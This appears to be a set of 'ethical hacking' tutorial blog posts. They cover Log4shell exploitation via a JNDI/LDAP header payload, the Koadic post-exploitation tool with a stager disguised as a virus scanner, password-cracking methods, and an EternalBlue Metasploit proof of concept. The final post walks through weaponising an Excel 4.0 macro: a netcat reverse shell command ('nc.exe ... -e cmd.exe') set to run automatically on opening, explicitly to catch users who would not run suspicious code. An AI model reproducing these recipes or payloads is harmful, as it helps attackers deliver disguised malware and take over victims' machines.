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Log4shell Explained For Beginners

Hello aspiring Ethical Hackers. In this article you will learn about the Log4shell vulnerability and why it is dangerous. According to Wiz and EY, this vulnerability affects over 93% of the total enterprise cloud environments. At the time of writing this article, Year 2022 has seen over a billion log4shell exploitation attempts.  

The software that is affected by this vulnerability includes Apache Camel, Apache Druid, Apache Flink, Apache Solr, Apache struts2, Apache Tomcat, Elastic Search, Atllasian Bitbucket, almost all software of Avaya, some software of Cisco, Citrix,Cloudera, Dell, F-Secure, Hitachi Energy, HP, IBM, Intel, Lenovo, McAfee, Microsoft, MongoDB, Netapp, Neo4j (OMG, we just installed it in last Issue),  Nulab, Oracle, Palantir, Palo -Alto, PaperCut, Rapid7, RedHat, Salesforce, Schneider Electric, Securonix, Siemens, SolarWinds, Sophos, Splunk, Thales, Varian, VMWare, Xylem, and Zendesk etc.   The commercial services that are vulnerable to log4shell include Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam and Tencent QQ.

If you read the above list of software vulnerable to log4shell, you will understand why it is given CVSS rating of 10.

What is Log4j or Log4shell vulnerability?

Log4j is actually an open source logging framework written in Java that software developers use to log or record data in their applications. The data that is logged can also include user input. For example, most web servers use logging. When you try to access a login webpage, apart from displaying you that webpage the server can create a record of your visit. Log4j was written in 2001 by Ceki Gülcü and now is part of Apache Logging Services which is a project of the Apache Software Foundation.

There is a feature in Log4j that allows remote users to specify custom code for formatting a log message. However, this feature can also be used to execute code on the target remotely by submitting it from a third party server. This allows a remote attacker to even take complete control of the target.

Enough theory, Let’s see it practically. For this, first we need a target. We have setup a vulnerable Docker container which we downloaded from here. This container can be started as shown below.

Once the container is up and running, check it’s IP address as shown below.

The target IP address is Now let’s set up the Attacker system. We have setup a new directory named log4shell to store all files belonging to log4shell.

We have downloaded a Java exploit to exploit log4j from here.

After extracting the contents of the zip archive, we navigate into the extracted directory to find the exploit. The command to run this exploit is given as shown below.

In the place of “your-private-ip”, we need to enter the attacker IP address ( Now, what does this exploit do? It starts a fake LDAP server and HTTP server as shown below.

The fake LDAP server is the third party server we need. Next, we need to trigger the exploit. Open a new terminal and run the command as shown below.

In the above command we are starting with curl, you can see “$(jndi)”. JNDI stands for Java Naming and Directory Interface and it is used for lookup of Java objects during program runtime. JNDI can interact with several directory interfaces which provide different scheme of files lookup.

One among them is the Lightweight Directory Access Protocol (LDAP). LDAP is a non-Java-specific protocol that can retrieve the object data as a URL which can be either local or remote. JNDI can be used to load data at an URL as Java object data by utilizing LDAP.

By specifying ${jndi:ldap://…..Ao=}, we are asking JNDI to use LDAP to query the URL and load the data there as Java object data. Well, what does the exploit do? As soon as we trigger the exploit, switch to the terminal on which our fake LDAP server is running.

It received a LDAP query and executed a command. It created a new file named “pwned” in the /tmp directory of the target (since that is what the exploit is programmed to do).  Let’s check if the new file is created or not. This can be done as shown below.

All good, but what is “X-Api-version” we used while triggering the exploit? That’s a HTTP header. As soon as we trigger the exploit, it will query the fake malicious LDAP server and it is inputting a string that is logged to the target (-H and then loading the malicious code (In this case, creating a new file on target). That’s how Log4jshell exploit works.

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Windows POST Exploitation: Koadic

Hello aspiring Ethical Hackers. In this article you will learn about a Windows POST Exploitation tool named Koadic. Koadic, or COM command and control is a Rootkit tool that is used for Windows POST exploitation. It is similar to Meterpreter and Powershell Empire except that it performs most of its operations using Windows Script Host. i.e JScript and Visual Basic Script.

The good thing about Koadic is that it is compatible with almost all the versions of Windows from Windows 2000 to windows 10. It also has the ability to serve payloads in memory and is updated to run with newly released Python 3. Koadic can be cloned from Github as shown below.

Once the repository is cloned, we can navigate into that directory and install the requirements needed for using koadic.

Once the requirements are all installed, koadic can be started. It can be started using the command shown below.


Koadic has two important components. They are,

  1. Stagers
  2. Implants.

Stagers are used to get initial sessions which are called as Zombies. Once Koadic is started, we can have a look at various stagers of koadic using command shown below.

use stager <tab> <tab>

Let’s use the Java script mshta stager. This stager serves payloads in memory using MSHTA.exe Html applications.

Set the SRVHOST, SRVPORT and ENDPOINT (name of the stager we create) options and execute the stager using run command.

As you can see in the above image, the payload is ready. Once victims visit this link, the virus_scanner.hta payload starts downloading on the target machine. Once the victim executes it, we get a ZOMBIE on a attacker machine as shown in the image below. Zombie in Koadic is just like a session in Metasploit.

The “zombies” command can be used to view all the sessions we have.

Every zombie session is given a session id starting from 0 which can be used for interacting with it. For example, the zombie session I got has been assigned ID “0”. Let’s interact with it.

Readers will learn more about this tool in Part 2 of this article.

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Password Cracking for Beginners

Hello aspiring Ethical hackers. In this article, you will learn what is password cracking and various types of password cracking. In Ethical hacking, password cracking is recovering passwords from data that has been stored in or transmitted by a computer system. Hackers use password cracking to grab credentials which can be helpful in further exploiting of the system. There are various password cracking techniques. They are,

1. Shoulder Surfing
2. Password Guessing
3. Dictionary Attack
4. Brute Force Attack
5. Rainbow Table Attack  
6. Phishing
7. Sniffing
8. Malware

Let’s learn in detail of each attack.

1. Shoulder Surfing

Shoulder Surfing is one of the easiest password cracking techniques that doesn’t require use of any technology. In shoulder surfing, the hacker stands behind (or sits behind, position is not really important) the victim when he is entering his credentials and captures the credentials by simple observation. As you can see, this is the easiest way to capture credentials of the target.

2. Password Guessing

Another password cracking technique that doesn’t require any technology. In this technique, hacker tries to guess the password of the victim using his own mind. You may be surprised but this technique yielded me results at least 20% of the total attempts made.

3. Dictionary Attack

In a dictionary attack, a hacker uses a dictionary to crack passwords. A dictionary or wordlist has a huge list of words (possible passwords), each one of which is tried as a password. In Kali Linux, the dictionary or wordlists are present in /usr/share/dirb/wordlists directory.

4. Brute Force Attack

In a brute force attack, hackers use every possible criteria or password to crack the credentials. A brute force attack may be slow but it will eventually crack the password. A brute force attack works by calculating the hash function of every password string it has and compares it with one on the target system or victim.

5. Rainbow Table Attack

To understand Rainbow Table Attack, you need to first understand what is a Rainbow Table. A Rainbow Table is a database that contains huge list of plaintext passwords and their precompiled hashes. Unlike a Brute Force attack, Rainbow table attack bypasses calculation of a hash for every password string as it already has a pre compiled list of hashes.

6. Phishing

Phishing is one of the easiest methods to crack passwords. You have already learnt about phishing in our previous blogposts.

7. Sniffing

Sniffing or Man In The Middle (MITM) attack can also be used to crack passwords while they are on transit in a network.  Learn more about sniffing here.

8. Malware

Malware is another way hackers capture credentials of their victims. Once hackers gain initial access to a system, they install malware which allows hackers to not only perform further malicious actions but also capture user credentials from the target system.

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EternalBlue vulnerability: Explained with POC

Hello, aspiring Ethical Hackers. In this article, you will learn about the infamous EternalBlue vulnerability and its exploitation.

Vulnerability & Impact

Exploited by Wannacry ransomware, the EternalBlue vulnerability exists in the Server Message Block (SMB) protocol. Due to improper handling of specially crafted packets by SMB version 1 (SMBV1) of Microsoft windows this vulnerability allows attackers to execute malicious code on the vulnerable systems. This vulnerability affects Microsoft Windows versions Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, Windows XP, Windows 8 and Windows Server 2003. This vulnerability was observed being exploited as recently as 2020.

Proof Of Concept

As the vulnerability is so famous (I mean infamous), Metasploit has already released exploit modules for this particular vulnerability.

We are going to test some of these modules on a Windows 7 target. Let’s first use the scanner module of metasploit to test whether this machine is vulnerable to EternalBlue vulnerability.

Set the RHOSTS option and execute the module.

The scanner module confirms that the target is indeed vulnerable. Now, let’s load the module for exploiting Eternal Blue vulnerability and grab a session.

Set all the required options and use “check” command to see if the target is indeed vulnerable.

After all the required options are set, execute the module.

As you can see, we got a meterpreter session on the target system and that too with SYSTEM privileges.

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Excel 4.0 Macros: How to create a malicious one

Hello aspiring ethical hackers. In our previous article, you have learnt what a Macro is and how to create a malicious VBA macro. In this article, you will learn about Excel 4.0 Macros and how to create one. Excel 4.0 Macros or XLM were introduced by Microsoft in 1992 when Excel 4.0 was launched as a default macro language and they serve the same functions as VBA macros in Word.  

As Excel 4.0 Macros are used for legitimate purposes, they can’t just be disabled by many. Further increasing the effectiveness of these macros, there is not yet a good detection method to detect malicious XL4 macros. Apart from this, they are very simple create but also very powerful just like Visual Basic Application (VBA) Macros.

 Now let’s see how to create an Excel 4.0 Macro. On a Windows system, we open Excel in Microsoft Office or the Office Suite. We are doing this on Microsoft Office 2007. You should see an Excel Workbook opened as shown below.

Right click on “Sheet 1” and select the “Insert” option as shown below.

In the newly opened window, select MS Excel 4.0 Macro and click on “OK”.

This will change the name of “Sheet 1” to “Macro 1” as shown below.

Save the file with the name you like. We have named it “evil_macro” for easy identification. While saving it, save it as a Macro Enabled Excel Workbook.

Once the file is saved, it’s time to create the macro. In the first column, which is named A1, we insert the command given below.


You may not realize, but you have already created your first XL4 macro. In the second column, i.e A2, insert another command =HALT(). This is to ensure that the macro you created does not face an error while running. It’s time to test your macro. Right Click on the first column, and click on “Run” as shown below.

Most probably, this will open a new window as shown below. Click on “Run”.

Doing this opens a Windows CMD window as shown below.

Voila, we successfully created a Excel 4.0 Macro and even executed it. If you have noticed it, we opened a Windows CMD by inserting a simple code. Now, let’s make a few changes to the “evil_macro” file. Move the =HALT() command to A3 cell and enter command given below in cell A2. Save the file.

=ALERT(“You have been hacked”)

Right click on Cell A1 and select “Run” again just like you did before.

Now, we can see that apart from Windows CMD window being opened, another window popped up with the message “You have been hacked”. We have just performed two operations with macros in one file. Not just cmd.exe, we can open other programs like Notepad and Calc.exe using the “=exec” function.

Now, let’s try something a bit advanced like spawning a reverse shell now. Download the Netcat Windows executable. Open Notepad and insert the following command into it.

<Path to Netcat Windows executable> <target IP> <target port> -e cmd.exe.

On our system, this command looks like this.                    

C:\Users\nspadm\Desktop\nc.exe 4444 -e cmd.exe

The -e option specifies which command to execute after netcat makes a successful connection. Now, save this file as a CMD file.  This can be done by saving the file in double quotes. For example, “shell.cmd” and keeping the file type as all files.

Now, in your evil_macro file, change the =EXEC function to execute the shell.cmd file you just now created as shown below.

Save the file. Before executing the macro, start a Netcat listener on the listener IP address you specified.

Now, when you execute the macro, you should get a successful shell as shown below.

This is all fine but nobody will open an Excel file and execute some suspicious looking code in it. We need the code to run automatically as soon as the user opens the Excel file. To do this, Click on A1 cell of your “evil_macro” file and rename it to “Auto_Open” as shown below.

Save the changes and close the file. Start the netcat listener again. Now, just open the evil_macro file and you should see the successful spawning of reverse shell again. That’s all about Excel 4.0 Macros for now.